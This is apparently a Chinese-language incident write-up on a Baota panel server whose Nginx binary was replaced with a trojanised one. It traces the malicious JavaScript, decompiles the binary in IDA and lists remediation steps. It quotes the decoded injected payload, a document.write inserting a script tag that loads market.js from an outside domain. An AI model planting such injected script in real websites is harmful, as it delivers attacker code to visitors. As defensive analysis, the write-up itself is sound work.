查看病毒样本和被插入的JS代码
原混淆代码
解混淆代码
在解码完这个JavaScript代码 我们可以看到关键词符 "Write"
和 "%3Cscript src='https://www.metamarket.quest/market.js'%3E%3C/script%3E"
(%3C和%3E是HTML编码 转过来则是<和>)
此代码直接利用 document.write
向页面插入script标签
排查分析
由于宝塔官方没有明确说明面板存在0day漏洞,目前只能转向分析Nginx样本了
我们把被替换过的nginx病毒样本拖到ida里面 然后F5反编译一下
定位到 __int64 __fastcall sub_4BE051
函数
然后我们会看到一段 waf_sc=5889647726
这里则对应我们上面分析JavaScript代码的值
我们分析一下以下代码
从这里,我们就能很清楚的看到了, 「v9」和 「v10」这两个变量应该就对应了恶意代码,通过 access
方式读入文件,不过按照被感染后的代码逻辑,应该是先判断是否包含以下字符串,没有就输出恶意代码。
关于 「 ngx_strcasestrn
」函数的用法,大家在网上也能够搜得到。
补救措施
不念推荐以下的排查方式 如下
1.请手动排查一下 /tmp/
和 /var/tmp/
目录下有没有 systemd-private-56d86f7d8382402517f3b5-jP37av
这个文件,如果有请尽快删除掉 然后修改一下服务器密码和修改相关目录的权限
2.如果当前宝塔面板还在用的话,请修改面板端口以及加强一下面板安全性
3.开启 BasicAuth认证
和 动态口令认证或者访问设备验证
4.手动排查一下Nginx程序的MD5值是否对应
在ssh输入以下代码即可